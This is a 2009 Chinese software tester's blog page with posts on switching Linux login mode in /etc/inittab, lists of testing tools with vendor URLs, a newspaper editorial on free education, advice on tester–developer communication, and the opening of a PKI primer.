Let's Go!

发布新日志

  • linux下编辑inittab,改变登陆方式

    2009-04-01 18:02:05

    首先确认你要以root登录,如果不是,在终端中输入su,按回车,输入root密码(屏幕上不显示密码)后按回车,提示符由$变为#,输入vi /etc/inittab,按回车进入vi编辑器,带#号的不用理会,找到id:3:initdefault:按a键进入插入模式,可以修改3为5,按Esc键退出编辑模式,按:w保存,按:x退出vi编辑器,输入reboot,按回车重新启动计算机即可。

    这个是将文本方式改为图形方式

    可以反着改实现由图形方式改为文本方式

  • 测试工具网址大全(2)

    2009-04-01 14:37:15

    压力测试工具集

    工具相关网址
    LoadRunner http://www.mercuryinteractive.com/products/loadrunner/
    SilkPerformer http://www.segue.com/products/load-stress-performance-testing/index.asp
    QALoad http://www.compuware.com/products/qacenter/qaload.htm
    WebLoad
    OpenSTA开源
    Jmeter开源

    自动测试工具集
    工具相关网址
    WinRunner http://www.mercuryinteractive.com/products/winrunner/
    SilkTest http://www.segue.com/products/functional-regressional-testing/silktest.asp
    QARun http://www.compuware.com/products/qacenter/qarun.htm
    SAFS http://safsdev.sourceforge.net/Default.htm

    Bug追踪系统
    工具相关网址
    JIRA http://www.atlassian.com/software/jira/
    Bugzilla http://www.bugzilla.org
    TestDirector http://www.mercuryinteractive.com/products/testdirector/
    GNATS http://www.gnu.org/software/gnats/
    TestTrackPro http://www.seapine.com/ttpro.html

    测试设计工具
    ALLPAIRS http://satisfice.com/
    Caliber-RBT http://www.tbi.com
    Caliber-RM http://www.tbi.com
    DARTT http://home.t-online.de/home/bsse.info/
    Datatect http://www.datatect.com
    DGL http://www.csee.usf.edu/~maurer/
    McCabe Test http://www.mccabe.com
    McCabe TestCompress http://www.mccabe.com
    Multi http://www.testing.com/
    Panorama C/C++ http://www.softwareautomation.com
    Reactis Tester http://www.reactive-systems.com
    TDGEN http://www.soft.com/Products/index.html
    T-VEC Test Generation System http://www.t-vec.com

    GUI测试驱动器 Android http://www.smith-house.org/open.html
    Atesto Functional Testing Service "http://www.atesto.com/ "
    AutoTester for Windows http://www.autotester.com
    AutoTester for OS/2 http://www.autotester.com
    CAPBAK http://www.soft.com/Products/index.html
    Certify http://www.worksoft.com/
    CitraTest http://www.tevron.com
    e-Monitor http://www.empirix.com/
    e-Tester http://www.empirix.com/
    eValid http://www.e-valid.com/
    imbus GUI Test Case Library http://www.imbus.de
    QARunTM http://www.compuware.com/qacenter
    Panorama-2 "http://www.softwareautomation.com "
    QC/Replay http://www.centerline.com
    QES/EZ for GUI http://www.qestest.com
    Monitor Master http://www.argogroup.com
    SilkTest http://www.segue.com
    Smalltalk Test Mentor http://www.silvermark.com
    Test Now http://www.stlabs.com/
    TestQuest Pro Test Automation System http://www.testquest.com
    TestRunner http://www.qronus.com/
    WinRunner Mercury Interactive http://www.merc-int.com
    xrc - X Remote Control http://www.absol.com/
    Xrunner http://www.merc-int.com

    负荷和性能工具 ANTS - Advanced .NET Testing System http://www.red-gate.com/
    Atesto Automated Load Test http://www.atesto.com/
    AutoController http://www.autotester.com
    AutoController with Virtual DirectTest http://www.autotester.com
    Benchmark FactoryTM http://www.quest.com
    Capacity Calibration http://www.capcal.com
    Chariot? http://www.ganymedesoftware.com
    CYRANO ServerPack http://www.cyrano.com
    e-Load http://www.empirix.com/
    FORECAST http://www.facilita.co.uk
    ITF - Internetworking Test Facility http://www.acomtech.com
    Load http://www.pushtotest.com
    Load Runner Product Family http://www.merc-int.com
    Microsoft Web Application Stress Tool (WAS) http://webtool.rte.microsoft.com/
    NetPressure http://www.syntheticnets.com
    PegasusTM http://www.ganymedesoftware.com
    Portent http://www.loadtesting.com
    preVue-ASCII http://www.rational.com/products/prevue/
    preVue-X http://www.rational.com/products/prevue/
    "PureLoad" http://www.minq.se
    QALoadTM http://www.compuware.com
    Rational Suite PerformanceStudio http://www.rational.com/products/pstudio/
    "Rational SiteLoad" http://www.rational.com/products/siteload/
    RemoteCog Product Family http://www.fiveninesolutions.com
    Scapa StressTest for Citrix MetaFrame. http://www.scapatech.com
    SilkPerformer http://www.segue.com/
    Teleprocessing Network Simulator http://www.networking.ibm.com/tns/tnsprod htm
    WebLoad 3.0 http://www.radview.com
    Web Roller http://webapplicationstesting.com
    Webserver Stress Tool http://www.paessler.com
    WebSpray http://www.redhillnetworks.com

    非GUI测试驱动器
    "AdaTEST" http://www.qcsltd.com
    ANVL http://www.midnight.com/
    AutoAdviser http://www.autotester.com
    AutoTester Client/Server for use with SAP R/3 http://www.autotester.com
    Cantata http://www.qcsltd.com
    "CONVEX Integrated Test Environment (CITE)" http://www.cirr.com/
    CTA++ http://www.testwell.fi
    CTB http://www.testwell.fi
    ITF - Internetworking Test Facility http://www.acomtech.com/
    OTF - An Object Testing Framework "http://www.mcgsoft.com/ "
    QADirector? http://www.compuware.com/qacenter
    "QCIT" http://www.qistest.com
    QES/Architect http://www.qestest.com
    QES/EZ http://www.qestest.com
    QMTest http://www.codesourcery.com/
    SilkPilot http://www.segue.com
    SMARTS http://www.soft.com/Products/index.html
    SDTF - SNA Development Test Facility http://www.acomtech.com
    TALC2000 http://www.talc2000.com
    TBGEN http://www.testwell.fi
    TEO http://www.gako.fr
    Test Manager http://www.launchsoftware.com
    Test Mentor - Java Edition http://www.javatesting.com
    Test Library Manager http://www.autotester.com
    "Test Station" http://www.autotester.com
    TestWorks http://www.soft.com/Products/index.html
    VectorCAST http://www.vectors.com
    VersaTest http://www.softsell.com

    测试实现工具

    Access for DB2 http://www.princetonsoftech.com/
    Aprobe http://www.ocsystems.com
    Aqtest http://www.automatedqa.com/
    BoundsChecker compuware http://www.numega.com/
    C++Test http://www.parasoft.com
    DateWise FileCompare http://www.datewise.com/mt
    dmalloc http://www.dmalloc.com/
    EXDIFF http://www.soft.com/Products/index.html
    "fakesmtpd" http://www.jera.com/
    "FREstimate" http://www.softrel.com/
    HeapAgent http://www.microquill.com
    InCtrl5 http://www.zdnet.com/downloads/stories/info/0,77424,.html
    JSUnit http://www.edwardh.com/jsunit/
    Junit http://www.junit.org/
    MDBDiff http://jupiter.drw.net/matpie/PBSystems/products/retired/MDBDiff.h tml
    Move for DB2 http://www.princetonsoftech.com/
    mpatrol http://www.cbmamiga.demon.co.uk/mpatrol/
    "ObjectTester" http://www.obsoft.com
    Inuse http://www.parasoft.com
    Rational Purify http://www.rational.com/products/purify_unix/index.jtmpl
    Rational Test RealTime http://www.rational.com
    SilkRealizer http://www.segue.com
    WhenToStop http://www.softrel.com/
    ZeroFault http://www.tkg.com

    测试评估工具

    AdaTEST95 http://www.qcsltd.com
    Aonix Validator/Req http://www.aonix.com/
    C-Cover http://www.bullseye.com
    Cantata++ http://www.qcsltd.com
    CodeTEST http://www.amc.com
    CTC++ http://www.testwell.fi
    GlassJARToolkit http://glassjartoolkit.com/gjtk.html
    "Hindsight/TCA"http://www.integrisoft.com
    Hindsight/TPA http://www.integrisoft.com
    "Insure++"http://www.parasoft.com
    "Java Test Coverage" http://www.semdesigns.com/Products/TestCoverage/index.html
    LDRA Testbed http://www.ldra.com
    "LOGISCOPE toolset" http://www.telelogic.com/
    ObjectCoverage http://www.obsoft.com
    Panorama C/C++ "http://www.softwareautomation.com "
    Rational PureCoverage http://www.rational.com/products/purecoverage/index. jtmpl
    "TCMON" http://www.testwell.fi
    TCA "http://www.parasoft.com "
    TCAT C/C++ http://www.soft.com/Products/index.html
    TCAT for Java http://www.soft.com/Products/index.html
    TCAT-PATH http://www.soft.com/Products/index.html
    T-SCOPE http://www.soft.com/Products/index.html
    TestWorks/Coverage http://www.soft.com/Products/index.html

    静态分析工具
    AccVerify SE for FrontPage http://www.hisoftware.com/msacc/
    Aivosto Project Analyzer http://www.aivosto.com/vb.html
    ASSENT http://www.tcs.com
    ccount "http://www.cs.umd.edu/users/cml/resources/cmetrics/ "
    "Cleanscape lint-Plus" http://www.cleanscape.net/stdprod/lplus/index.html
    ClearMaker http://www.balthazar.hu
    "CMT++" http://www.testwell.fi
    CodeCompanion http://www.jenssoft.com
    CodeSurfer http://www.grammatech.com
    "Dependency Walker" http://www.dependencywalker.com/
    floppy/fflow http://netlib2.cs.utk.edu/floppy/
    ftnchek http://www.dsm.fordham.edu/~ftnchek
    Hindsight/SQA http://www.integrisoft.com
    Krakatau http://www.powersoftware.com/
    McCabe QA http://www.mccabe.com
    METRIC http://www.soft.com/Products/index.html
    ObjectDetail http://www.obsoft.com
    CodeWizard http://www.parasoft.com
    Jtest http://www.parasoft.com
    PC-lint/FlexeLint http://www.gimpel.com/
    PC-Metric http://www.molalla.net/~setlabs
    PolySpace Verifier http://www.polyspace.com
    Plum Hall SQS http://www.plumhall.com
    QA C http://www.prqa.co.uk
    QA C++ http://www.prqa.co.uk
    "QA Fortran" http://www.prqa.co.uk
    "QStudio Java" http://www.qa-systems.com
    Safer C Toolset http://www.oakcomp.co.uk/SoftwareProducts.html
    SofAudit http://www.soring.hu/index.html
    STATIC http://www.soft.com/Products/index.html
    TestBed http://www.easternsystems.com
    TestWorks/Advisor http://www.soft.com/Products/index.html

    缺陷跟踪工具
    1CR http://www.plus-one.com/+1CR_fact_sheet.html
    Aardvark http://www.red-gate.com/
    AdminiTrack http://www.adminitrack.com
    Alcea Fast BugTrack http://www.alceatech.com/
    AllChange 2000 http://www.intasoft.co.uk/intasoft/
    BugAware http://www.bugaware.com
    "Bugbase 2000" http://www.threerock.com
    "Bugcentral.com" http://www.bugcentral.com/
    BugCollector Pro http://www.nesbitt.com/
    Bug/Defect Tracking Expert http://www.bug-defect-tracking-expert.com/
    "Buggit" http://www.pb-sys.com/
    Buggy http://www.novosys.de/Buggy/Buggy.html
    "Bugzero" http://www.websina.com/bugzero/
    Bugzilla http://www.mozilla.org/projects/bugzilla/
    "Census" http://www.metaquest.com/
    "ClearQuest" http://www.rational.com/products/clearquest/
    CustomerFirst http://www.custfirst.com/products.html
    Debian Bug Tracking System http://www.chiark.greenend.org.uk/~ian/debbugs/
    Defect Tracker (New Fire) http://www.newfire.com/
    Defect Tracker (Pragmatic) http://www.Pragmaticsw.com/Pragmatic/DefectTrac ker.asp
    Defect Tracking System (DTS) http://www.open.com.au/dts/
    "defectX" http://www.defectx.com/
    DevTrack http://www.techexcel.com/
    "d-Tracker" http://www.empirix.com/
    elementool http://elementool.com/
    "ExtraView" http://www.extraview.com/extraview_home.html
    FogBUGZ http://www.fogcreek.com/FogBUGZ/
    JitterBug http://samba.anu.edu.au/cgi-bin/jitterbug
    Keystone Problem Tracking System http://www.stonekeep.com/
    NeumaPT http://www.neuma.com/
    SWBTracker http://www.softwarewithbrains.com/swbtrack.htm
    "Squish" http://www.squishlist.com
    T-Plan Incident Manager http://www.t-plan.co.uk
    TeamTrack http://www.teamshare.com
    TeamTrack Workgroup http://www.teamshare.com
    Team Tracker http://www.hstech.com.au/TeamTracker/
    TestTrack http://www.seapine.com
    "TrackWeb Defects" http://www.soffront.com/
    Trackgear http://www.logigear.com/
    TrackRecord http://www.numega.com/devcenter/tr.shtml
    "Trackwise" http://www.sparta-systems.com/
  • 测试工具大全(各类测试工具简介)(1)

    2009-04-01 14:19:00

     

    企业级自动化测试工具WinRunner

     

    提名理由:Mercury Interactive公司的WinRunner是一种企业级的功能测试工具,用于检测应用程序是否能够达到预期的功能及正常运行。通过自动录制、检测和回放用户的应用操作,WinRunner能够有效地帮助测试人员对复杂的企业级应用的不同发布版进行测试,提高测试人员的工作效率和质量,确保跨平台的、复杂的企业级应用无故障发布及长期稳定运行。

    工业标准级负载测试工具Loadrunner

     

    提名理由:LoadRunner 是一种预测系统行为和性能的负载测试工具。通过以模拟上千万用户实施并发负载及实时性能监测的方式来确认和查找问题,LoadRunner 能够对整个企业架构进行测试。通过使用LoadRunner ,企业能最大限度地缩短测试时间,优化性能和加速应用系统的发布周期。

    全球测试管理系统testdirector

     

    提名理由:TestDirector 是业界第一个基于Web的测试管理系统,它可以在您公司内部或外部进行全球范围内测试的管理。通过在一个整体的应用系统中集成了测试管理的各个部分,包括需求管理,测试计划,测试执行以及错误跟踪等功能,TestDirector极大地加速了测试过程。

    功能测试工具Rational Robot

     

    提名理由:IBM Rational Robot 是业界最顶尖的功能测试工具,它甚至可以在测试人员学习高级脚本技术之前帮助其进行成功的测试。它集成在测试人员的桌面 IBM Rational TestManager 上,在这里测试人员可以计划、组织、执行、管理和报告所有测试活动,包括手动测试报告。这种测试和管理的双重功能是自动化测试的理想开始。

    单元测试工具xUnit系列

     

    提名理由:目前的最流行的单元测试工具是xUnit系列框架,常用的根据语言不同分为JUnit(java),CppUnit(C++),DUnit (Delphi ),NUnit(.net),PhpUnit(Php )等等。该测试框架的第一个和最杰出的应用就是由Erich Gamma (《设计模式》的作者)和Kent Beck(XP(Extreme Programming)的创始人 )提供的开放源代码的JUnit。

    功能测试工具SilkTest

     

    提名理由:Borland SilkTest 2006属于软件功能测试工具,是Borland公司所提出软件质量管理解决方案的套件之一。这个工具采用精灵设定与自动化执行测试,无论是程序设计新手或资深的专家都能快速建立功能测试,并分析功能错误。 

    性能测试工具WAS

     

    提名理由:Microsoft Web Application Stress Tool 是由微软的网站测试人员所开发,专门用来进行实际网站压力测试的一套工具。透过这套功能强大的压力测试工具,您可以使用少量的Client端计算机仿真大量用户上线对网站服务所可能造成的影响。

    自动化白盒测试工具Jtest

     

    提名理由:Jtest是parasoft公司推出的一款针对java语言的自动化白盒测试工具,它通过自动实现java的单元测试和代码标准校验,来提高代码的可靠性。parasoft同时出品的还有C++ test,是一款C/C++白盒测试工具。

    功能和性能测试的工具JMeter

     

    提名理由:JMeter是Apache组织的开放源代码项目,它是功能和性能测试的工具,100%的用java实现。

    性能测试和分析工具WEBLODE

     

    提名理由:webload是RadView公司推出的一个性能测试和分析工具,它让web应用程序开发者自动执行压力测试;webload通过模拟真实用户的操作,生成压力负载来测试web的性能。

     测试工具大全

    Author: Vince

    工具类别 工具名称 生产厂商 相关网站
    通用功能自动化测试工具 Winrunner Mercury
    Quicktest pro Mercury
    Xrunner Mercury
    QARun Compuware
    TestPartner Compuware
    WebKing Parasoft http://www.parasoft.com
    Robot IBM Rational http://www.ibm.com/cn
    Visual Test IBM Rational http://www.ibm.com/cn
    Functional Tester IBM Rational http://www.ibm.com/cn
    SilkTest Segue
    SilkTest International Segue
    e-Tester Empirix
    WebFT Radview
    TestComplete AutomatedQA
    QA Wizard Seapine
    Software EggPlant RedStone
    Test Edition Microsoft Visual Studio
    PureTest Minq
    Autotester Autotester
    Testbench400 Original Software
    TestExpert VEReCOMM
    TestRunner Qronus
    TTCN suite Telelogic http://www.telelogic.com.cn
    QC/Replay Centerline
    Web AutoTester
    eValid Software Research
    WebART OCLC
    MaxQ 开源
    WebInject 开源
    Marathon 开源
    性能测试/监控工具  LoadRunner Mercury
    SiteScope Mercury
    Topaz Mercury
    QaLoad Compuware
    PerformaSure/benchmark Quest
    Silkperformer Segue
    Silkperformer Lite Segue
    SilkCentralTM Performance Manager Segue
    e-Load Empirix
    Robot IBM Rational http://www.ibm.com/cn
    Performance Tester IBM Rational http://www.ibm.com/cn
    WebLoad RadView
    Web applicaton stress tool  Microsoft
    Application center test Microsoft
    PureLoad Minq
    Athene APR Metron
    ForeCast Facilita
    Impact/Impact for CBT Cyrano
    Berkeley Laboratory sniffer Lawrence
    Jmeter 开源
    openSTA 开源
    Siege 开源
    StressMark 开源
    DBMonster 开源
    白盒测试/代码分析工具  VcTester ezTester http://www.eztester.com
    Jtest Parasoft http://www.parasoft.com
    C++test Parasoft http://www.parasoft.com
    SOA test Parasoft http://www.parasoft.com
    .test Parasoft http://www.parasoft.com
    Codewizard Parasoft http://www.parasoft.com
    Insure++ Parasoft http://www.parasoft.com
    DataRecon Parasoft http://www.parasoft.com
    Numega devpartner studio Compuware
    DevPartnerJavaEdition Compuware
    BoundsChecker Compuware
    SmartCheck Compuware
    DBPartner Compuware
    Bean-test Empirix
    Aqtime AutomatedQA
    QESatJava AutomatedQA
    Visual Unit Unitware
    PC-lint Gimpel Software
    Macabe Macabe
    Optimizeit Suite Borland
    JProbe Suite Quest Software
    Application assurance suite Quest Software
    Sql optimizer Quest Software
    Jprofiler ej-technologies
    workbench Cyrano
    Logiscope TeleLogic http://www.telelogic.com.cn
    rulecheck TeleLogic http://www.telelogic.com.cn
    SilkPerformer Component Test Edition Segue
    Purifyplus IBM rational http://www.ibm.com/cn
    Rational Test Realtime IBM rational http://www.ibm.com/cn
    junit 开源
    cactus 开源
    Hansel 开源
    TestNG 开源
    StrutsTestCase 开源
    JFCUnit 开源
    Httpunit 开源
    Dunit 开源
    cppunit 开源 http://sourceforge.net/projects/cppunit
    Nunit 开源
    Xunit 开源
    JTR 开源
    MallocDebug Linux平台工具
    Valgrind Linux平台工具
    Kcachegrind Linux平台工具
    dmalloc Linux平台工具
    ElectricFence Linux平台工具
    LeakTracer Linux平台工具
    memprof Linux平台工具
    ccmalloc Linux平台工具
    mprof Linux平台工具
    yamd Linux平台工具
    njamd Linux平台工具
    mpatrol Linux平台工具
    嵌入式测试工具 VcTester ezTester http://www.eztester.com
    codetest Metrowerks
    Cantata/cantana++ IPL
    IceMaster Reflex Technology
    System test Reflex Technology
    scorecast DDC-I
    Testquest Testquest
    UniText ATTOL
    vectorcast Vector software
    testrunner Qronus
    Logiscope Telelogic http://www.telelogic.com.cn
    测试管理工具 TestDirector(QualityCenter) Mercury
    QADirector Compuware
    certify Worksoft
    Product manager Aimware
    SilkCentral Test Manager Segue
    Doors Telelogic http://www.telelogic.com.cn
    e-manager Empirix
    testmanager IBM Rational http://www.ibm.com/cn
    TestView Manager RadView
    Professional T-Plan
    缺陷管理工具 TestDirector(QualityCenter) Mercury
    ClearQuest IBM Rational http://www.ibm.com/cn
    TrackRecord Compuware
    TestTrack pro Seapine
    TrueTrack McCabe
    Devtrack Techexcel
    Notes IBM Lotus
    SilkCentral Issue Manager Segue
    PVCS Tracker Merant
    AR System Remedy
    URTrack LealSoft
    Butterfly Hansky
    Bugzilla 开源
    Mantis 开源
    JIRA 开源
    BugFree 开源
    配置管理工具 ClearCase IBM Rational http://www.ibm.com/cn
    PVCS Version Manager Merant
    VCS Diamond
    StarTeam Borland
    Perforce Perforce
    TRUEchange McCabe
    SYNERGY CM  Telelogic http://www.telelogic.com.cn
    VSS Microsoft
    Firefly Hansky
    CVS Subversion
    SCCS RCS
    CCC/Harvest Computer Associates


  • 新京报:12年免费教育离我们还有多远

    2009-03-31 11:34:23

    http://www.sina.com.cn 2007年08月04日10:07 新京报

        新京报社论

      当下,由于高中教育不属义务教育,因此它在许多地方成了收费“特区”,高昂的学费让家长们不堪重负。然而,这一局面终于在珠海被打破,珠海市政府8月1日宣布,从2007年秋季起,珠海市将对本市户籍的中小学生实行十二年免费教育,九年义务教育阶段学费书杂费全免,高中教育阶段免学费,持有“低保证”的特困家庭普高和中职学生免交课本资料费。此外,复读学生不予免费。

      此前,在全国范围内,只有极少数地方对残疾学生或孤儿实行了12年免费教育。珠海在全国开了先河。这样做,不仅自我堵塞了一条收费渠道,而且政府财政负担也因此增加不少,一减一增,珠海市政府的眼界、魄力和勇气令人尊敬。

      很早以前,就有学者建议把普及12年教育作为新的教育发展国家目标;2005年,国家统计局高级统计师谢鸿光建议修订《义务教育法》,把9年制义务教育延长到12年,并实行免费;最近几年的全国两会上,12年免费义务教育的问题被代表委员多次提及。但这一切,都始终未成现实。

      据亚洲开发银行报告,全球190多个国家和地区中有170多个已经实现了免费义务教育。发达国家大多普及了12年免费义务教育,并向15年免费义务教育迈进,即使在不发达国家,12年制免费义务教育也正在成为共识,如古巴教育支出占GDP的6.3%,即使在最困难的时候,仍然实行12年义务教育,学校不仅不收学杂费,还免费提供食宿和校服。许多非洲穷国也照样实行12年免费义务教育。

      古巴以及许多非洲穷国的经济实力那么差,它们能够做到。那么历经过数十年经济高速发展,国家实力日渐强大的中国,没有理由做不到。当下,9年制免费义务教育正在全面推行,那么紧接着,12年制免费义务教育是否也应提上讨论日程了?如果它能变成现实,那对国家的发展,社会的公平将意义重大。

      实行12年制免费义务教育,可以缓解乃至消除教育不公。这样做最大的受益者是农村和城市低收入家庭的孩子,这将使教育不公和与此相关的收入差距拉大问题得到缓解。要缩小收入差距,首先就应当缩小教育差距,保证下一代接受尽可能平等的教育,这是一项基本的发展权,也是一项基本的人权。

      实行12年免费义务教育,可以整体提高农村和城市低收入家庭孩子的素质。研究表明,教育回报率高于物质资本的投资回报率大约50%,有学者估计,我国投资人力资本的回报率可能高达30%至40%,考虑到教育能够改变国民素质、增强社会和谐度及凝聚力,回报将更高。《国家教育事业发展“十一五”规划纲要》显示,2005年,全国高中阶段教育在校学生4030.95万人,毛入学率仅为52.7%。说明很多孩子初中毕业就被推上了就业市场,这种现象显然需要改变。

      普及12年免费教育,把高中和中职教育作为孩子们进入社会前的“预备班”,不仅可以极大地提高国民素质,而且可以正面促进教育改革,使高考不再成为初中级教育的惟一指挥棒,促进教育现代化。

      专家分析,假设所有适龄儿童都能依法入学,每年每个小学、初中、高中生的平均义务教育费用分别为500元、1000元、1500元,按资料推算,2006年我国的义务教育经费约需2260亿元。而去年全国财政收入近4万亿元。可以说,实现全国范围内的12年免费教育,财政负担能力不是根本问题。根本问题在于:我们拿出了多大的决心?对此的认识程度有多深?

  • 与开发人员沟通的五要与四不要

    2009-03-27 09:34:31

        作为测试工程师,在日常工作中接触最多的当然是团队中的开发工程师,如何和开发工程师进行有效的交流是测试工程师面对的重要问题。一般来说,在一个团队中,总是有开发人员喜欢和不喜欢的测试工程师,这两者之间的工作效率和效果都有很大的差异。当然,不能武断地说测试人员不喜欢的测试工程师就一定是效率低下的测试工程师,或者说是不合格的测试工程师,但一般来说,那些容易得到开发人员认可的工程师在测试时总能够更好地发现缺陷和敦促开发人员解决缺陷。
    测试工程师和开发工程师承担的是开发工作的两个不同方面,说得极端一点,一个是创建,一个是破坏,虽然两者的最终目的都是一样的,但在达成目标的方式上却有很大的差异。因此,在为同一个目标奋斗的过程中,发生冲突也是难免的,但通过下面的一些建议,换个视角看看开发人员的生活和工作,可能很多的冲突就能化解于无形了。
    Cem Kaner在《Testing Computer Software》书中有一段话: “The best tester is not the one who finds the most bugs or who embarrasses the most developers. The best tester is the one who gets the most bugs fixed.” (最好的测试人员不是发现最多BUG或是使得最多开发人员不自在的人,而是能够[说服开发人员]修正最多BUG的人),建议大家好好理解这句话。
    至于我个人,是从开发工程师转为测试工程师的,对于开发工程师的处境和想法也曾有过切身的体会,或许是这个原因,让我在和开发工程师交流的过程中还算是比较顺利,和他们相处得也还不错。在我的测试经历中,也接触过相当多的开发工程师,这里我把和开发人员交流的经验归结为“五要四不要”:


    1、要耐心和细心
    细心是测试工程师的一个基本素质,测试工程师是对质量负责的人,涉及到质量问题,就不能含糊,因此一定要细心,细心对待每一个可能的BUG、细心对待每一段被你检查的代码,细心对待每一个你撰写的BUG报告,细心对待你发出的每一封邮件。细心是一种态度,你的态度迟早会感染和你合作的开发人员,而这往往是合作愉快的基础。
    至于说到耐心,在我的工作经历中,不厌其烦地向开发人员解释一个BUG,让他认识到BUG的重要性是经常的事情,其实想想也很正常,对任何人来说,被人指出自己的缺点和不足都不是让人舒服的事情,因此,一点不耐烦的情绪就可能引起对方很大的反感,给自己的工作带来不必要的麻烦。


    2、要懂得尊重对方
    开发是一件需要全面和综合考虑的工作,开发工作中,由于各种原因导致程序中出现问题是很正常的现象,作为测试工程师,发现了这些问题并<strong class="kgb" nmouseover="isShowAds = false;isShowAds2 = false;isShowGg = true;InTextAds_GgLayer="_u4E0D_u503C_u5F97";ads.ShowGgAds(this,"_u4E0D_u503C_u5F97",event)" style="BORDER-TOP-WIDTH: 0px; PADDING-RIGHT: 0px; PADDING-LEFT: 0px; FONT-WEIGHT: normal; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; CURSOR: hand; COLOR: #0000ff; PADDING-TOP: 0px; BORDER-RIGHT-WIDTH: 0px; TEXT-DECORATION: underline" nclick="javascript.:window.open("http://pagead2.googlesyndication.com/pagead/iclk?sa=l&ai=BgTK-EY3WRoOkMorGgQOLn9DUC9bdwS_K8OexBMTzwocIABABGAEgma7xCTgAUM-cs8YDYJ3B4IHkBZgBqZ-MKqABhvTK_AOqAQoyMDAwMDEyMDQ0sgENbmV3cy5jc2RuLm5ldMgBAdoBK2h0dHA6Ly9uZXdzLmNzZG4ubmV0L24vMjAwNzA4MTQvMTA3NDM4Lmh0bWyAAgGYAv46qQJhP_5h7MeBPsACAcgCspioAagDAegDH-gD1wI&num=1&adurl=http://www.winworld.cn/cat/153.html&client=ca-pub-5384462698219144");GgKwClickStat("不值得","www.winworld.cn","afc","2000012044");" nmouseout="isShowGg = false;InTextAds_GgLayer="_u4E0D_u503C_u5F97"">不值得你夸耀,也不能说明你比开发工程师聪明。一个好的测试工程师一定是懂得尊重开发工程师的人,尊重对方的技术水平,尊重对方的代码。我接触过的开发人员都是挺和善的,一般来说,对他们最大的尊重就是承认他的专业水平,承认他的代码。对他们来说,代码就像是自己的孩子一样:)因此,记得在合适的时候表达你对他的尊重,赞扬一下他代码的精妙之处。


    3、要能设身处地为对方着想
    开发工程师一般都处在较大的工作压力下,他的上司直接考核他们的指标很大程度上是已完成的代码,所以在工作任务紧张的时候,对于测试工程师报上来的BUG会拖延解决甚至是推脱,给测试工程师的感觉就是很不合作。那么在这个时候,就需要设身处地的为对方着想了,每个人都会为自己的工作在内心排定优先级,如果他认为解决你发现的BUG不是重要的事情,那么最大的可能就是你并没有向他解释清楚这个BUG的严重程度。
    发现BUG是我们的责任,敦促BUG得到解决是我们更重要的责任,因此,我们可以心平气和地和开发人员坐下来讨论一下BUG的严重程度,和他一起排定BUG的优先级别并确定解决的时间。


    4、要有原则
    不要忘记,测试工程师需要对产品的质量负责,在这一点上一定要有原则。测试工程师可以和开发工程师建立良好的个人关系,但在具体的事情上,一定要按照公司的相关流程来处理。当然,在坚持原则的同时,可以采用一些委婉的表达方式,可以在允许的情况下尽量体谅开发工程师,但请记住,一个有原则的测试工程师才能真正帮助开发工程师,才能赢得开发工程师的尊重。


    5、要主动承担
    如果开发工程师要求你承担部分不属于你的责任,比如,定位你发现的BUG到代码一级,或者是帮助他编写部分文档和代码(不要不相信,真的有这样的事情),那么你会怎么做呢?在我的测试经历中,这些事情都遇到过,我的原则是在可能的情况下尽量多承担。其实都是工作上的事情,有能力的话,多做一点也无妨。当然,肯定有人不同意我的意见,在这里我也不想争辩,个人意见而已,仅供参考:)
    在我的测试经历中,我会根据自己的进度和时间安排尽可能地提供更多的关于BUG的参考意见,甚至是定位到代码一级,这种方式不是正规的方式,但对于提高自己被信任的程度是非常有益的。但在主动承担时,一定要明确是在自己确有余力的情况下才能去承担,否则,婉拒是最好的对策。


    【四不要】
    1、不要嘲笑
    不要嘲笑你所发现的BUG,即使是非常愚蠢的错误也绝对不要嘲笑,说不定那个错误是因为开发工程师联系加班24小时犯下的,对别人的工作始终应该尊重。如果你觉得有必要提醒他不再犯一些经常犯的错误,可以采用这样的方式:编写一份测试过程中发现的开发人员常犯错误的文档(记住,千万不要写上谁犯了这些错误),用轻松的口气调侃一下,发送给开发人员。这种方法我采用过,开发人员都能很快接受。


    2、不要在背后评论开发工程师
    永远不要在背后评论开发工程师的技术能力,这个绝对是非常忌讳的事情,一时的口舌之快或许会使你永远不再能同他良好地合作,要知道,开发工程师最在意地就是别人对他的技术能力的评价。其实这个不仅仅是作为测试工程师的准则,也应该是做人的准则。


    3、不要动辄用上层来压制对方
    在出现和对方的意见分歧的时候,应该采用什么方式说服对方呢?直接向上层求助当然是一个办法,但这种办法带来的负面左右也是很明显的,首先是作为上层的处理结果可能不一定符合你的愿望(在很多公司,开发工程师的地位高于测试工程师的地位,这种地位的不平等导致上层在处理分歧时会有一定的偏向性);其次是动辄拿出上层来压制对方只能给他人留下无用的印象。所以在出现分歧时,尽量尝试通过沟通解决吧,实在不行,再动用最后的手段。


    4、和开发人员的沟通不要只有BUG
    除了在BUG记录单上,在其他的地方也让和你合作的开发工程师接触到你吧:),午餐或是集体活动的时候多和对方聊聊天,一方面可以增进彼此的感情,混个脸熟,打交道的时候也方便;另一方面,从他那里了解业务的知识和他负责模块的方方面面,对自己也是提升。我个人就很喜欢和开发工程师沟通,开发工程师其实一般都是比较健谈的,尤其是对自己程序的精妙之处,多了解一些,多接触一些,对自己总是有益的。

    写了这么多,其实关键的就是两点:多从别人的角度去想想,所谓“换位思考”,多尊重对方就一定能得到对方的尊重与配合;其次是加强和开发工程师的沟通,让他清楚地认识到你的工作对他的价值,你发现的每一个BUG的重要性。
    我一直认为,一个好的测试工程师一定是在公司里被所有人尊重的快乐分子,而不应该是一个“铁面判官”:)当然,作为我个人来说,绝对不敢说自己做的已经很好了,不过,我经常都记得提醒自己:尊重对方。

  • PKI 基础知识

    2009-03-20 13:33:54

    PKI 基础知识
    (摘自Microsoft Windows 2000 Server白皮书,2000年7月5日发布)

    摘要

    本白皮书介绍了加密和公钥基本结构(PKI)的概念和使用 Microsoft Windows 2000 Server 操作系统中的证书服务的基础知识。如果您还不熟悉加密和公钥技术,先阅读本白皮书将有助于理解 Windows 2000 Web 站点上有关这些主题的其它技术白皮书。

    引言

    Microsoft Windows 2000 证书服务提供的集成的公钥基本结构(PKI)使电子商务能够在安全的环境中进行。本白皮书介绍了加密和 PKI 的概念。理解这些相关概念是理解证书服务功能的先决条件,证书服务是 Microsoft Windows 2000 Server 操作系统中的一个组件。

    加密概念

